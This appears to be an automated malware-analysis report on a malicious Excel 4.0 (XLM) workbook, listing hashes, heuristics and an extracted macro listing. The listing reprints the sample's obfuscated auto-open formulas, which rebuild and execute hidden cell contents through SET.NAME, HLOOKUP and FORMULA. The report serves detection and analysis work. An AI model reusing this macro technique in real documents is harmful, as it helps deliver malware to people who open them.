Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8d9db5f17d2c42bb…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:49 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 28733d55a832d7e98742d2bcc4b4a40e SHA-1: ebf1f3a9438ffe19479d7e2826be9df2b13828d4 SHA-256: 8d9db5f17d2c42bb154344e8642b63abad24464a4a2666f61f1e432b70d3c122
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6709 bytes
SHA-256: c16a8cc174aae25a8394fa3830195c03e6e5ae6fbd3f4c91a9337922af4e2642
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  aurKHFLpdyV
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C144 
' 0018     24 LABEL : Cell Value, String Constant - fEVcPejxI len=0 
' 0018     25 LABEL : Cell Value, String Constant - hoYWnVvBdz len=0 
' 0018     27 LABEL : Cell Value, String Constant - ixWYducUuNLx len=0 
' 0018     25 LABEL : Cell Value, String Constant - KeMrtzpZEg len=0 
' 0018     26 LABEL : Cell Value, String Constant - LaVxtHRsFfU len=0 
' 0018     20 LABEL : Cell Value, String Constant - ltHTb len=0 
' 0018     25 LABEL : Cell Value, String Constant - MjerFOVbRw len=0 
' 0018     22 LABEL : Cell Value, String Constant - oIurmzd len=0 
' 0018     23 LABEL : Cell Value, String Constant - OSqEuqui len=0 
' 0018     25 LABEL : Cell Value, String Constant - pCWLAKeJdU len=0 
' 0018     21 LABEL : Cell Value, String Constant - RWIBAI len=0 
' 0018     21 LABEL : Cell Value, String Constant - SgMAcp len=0 
' 0018     23 LABEL : Cell Value, String Constant - teejBSQq len=0 
' 0018     25 LABEL : Cell Value, String Constant - TJxSasTqyW len=0 
' 0018     23 LABEL : Cell Value, String Constant - vKJwqCEf len=0 
' 0018     26 LABEL : Cell Value, String Constant - vPgfBhkSXDL len=0 
' 0018     24 LABEL : Cell Value, String Constant - werflpbJe len=0 
' 0018     26 LABEL : Cell Value, String Constant - WhgvUNvIPuE len=0 
' 0018     24 LABEL : Cell Value, String Constant - wsxkDsXBc len=0 
' 0018     20 LABEL : Cell Value, String Constant - xqacu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  aurKHFLpdyV,C59,"SET.NAME("KeMrtzpZEg",VALUE("0"))",""
'  aurKHFLpdyV,C63,"SET.NAME("xqacu",KeMrtzpZEg)",""
'  aurKHFLpdyV,C67,"SET.NAME("WhgvUNvIPuE",KeMrtzpZEg)",""
'  aurKHFLpdyV,C69,"SET.NAME("ltHTb",COUNTA(fEVcPejxI))",""
'  aurKHFLpdyV,C72,"SET.NAME("ixWYducUuNLx",COUNTA(werflpbJe))",""
'  aurKHFLpdyV,C76,[],""
'  aurKHFLpdyV,C79,"SET.NAME("oIurmzd","")",""
'  aurKHFLpdyV,C83,"xqacu",""
'  aurKHFLpdyV,C86,"SET.NAME("LaVxtHRsFfU",HLOOKUP("*",fEVcPejxI,xqacu,FALSE))",""
'  aurKHFLpdyV,C91,"OSqEuqui",""
'  aurKHFLpdyV,C94,"SET.NAME("wsxkDsXBc",KeMrtzpZEg)",""
'  aurKHFLpdyV,C96,[],""
'  aurKHFLpdyV,C101,"wsxkDsXBc",""
'  aurKHFLpdyV,C105,"SgMAcp",""
'  aurKHFLpdyV,C108,"vPgfBhkSXDL",""
'  aurKHFLpdyV,C110,"RWIBAI",""
'  aurKHFLpdyV,C112,"SET.NAME("pCWLAKeJdU",VALUE(HLOOKUP("*",werflpbJe,RWIBAI,FALSE)))",""
'  aurKHFLpdyV,C114,"teejBSQq",""
'  aurKHFLpdyV,C118,"oIurmzd",""
'  aurKHFLpdyV,C120,"WhgvUNvIPuE",""
'  aurKHFLpdyV,C122,NEXT(),""
'  aurKHFLpdyV,C127,"vKJwqCEf",""
'  aurKHFLpdyV,C131,"SET.NAME("f",INT(T(FORMULA(T(oIurmzd)&"",""&T(vKJwqCEf)))))",""
'  aurKHFLpdyV,C135,"TJxSasTqyW",""
'  aurKHFLpdyV,C140,NEXT(),""
'  aurKHFLpdyV,C142,RETURN(),""
'  aurKHFLpdyV,C175,"SET.NAME("hoYWnVvBdz",C59)",""
'  aurKHFLpdyV,C178,"fEVcPejxI",""
'  aurKHFLpdyV,C182,"SET.NAME("werflpbJe",R71C15)",""
'  aurKHFLpdyV,C185,"SET.NAME("TJxSasTqyW",192)",""
'  aurKHFLpdyV,C189,"SET.NAME("MjerFOVbRw",3)",""
'  aurKHFLpdyV,C191,hoYWnVvBdz(),""
'  aurKHFLpdyV,C192,HALT(),""

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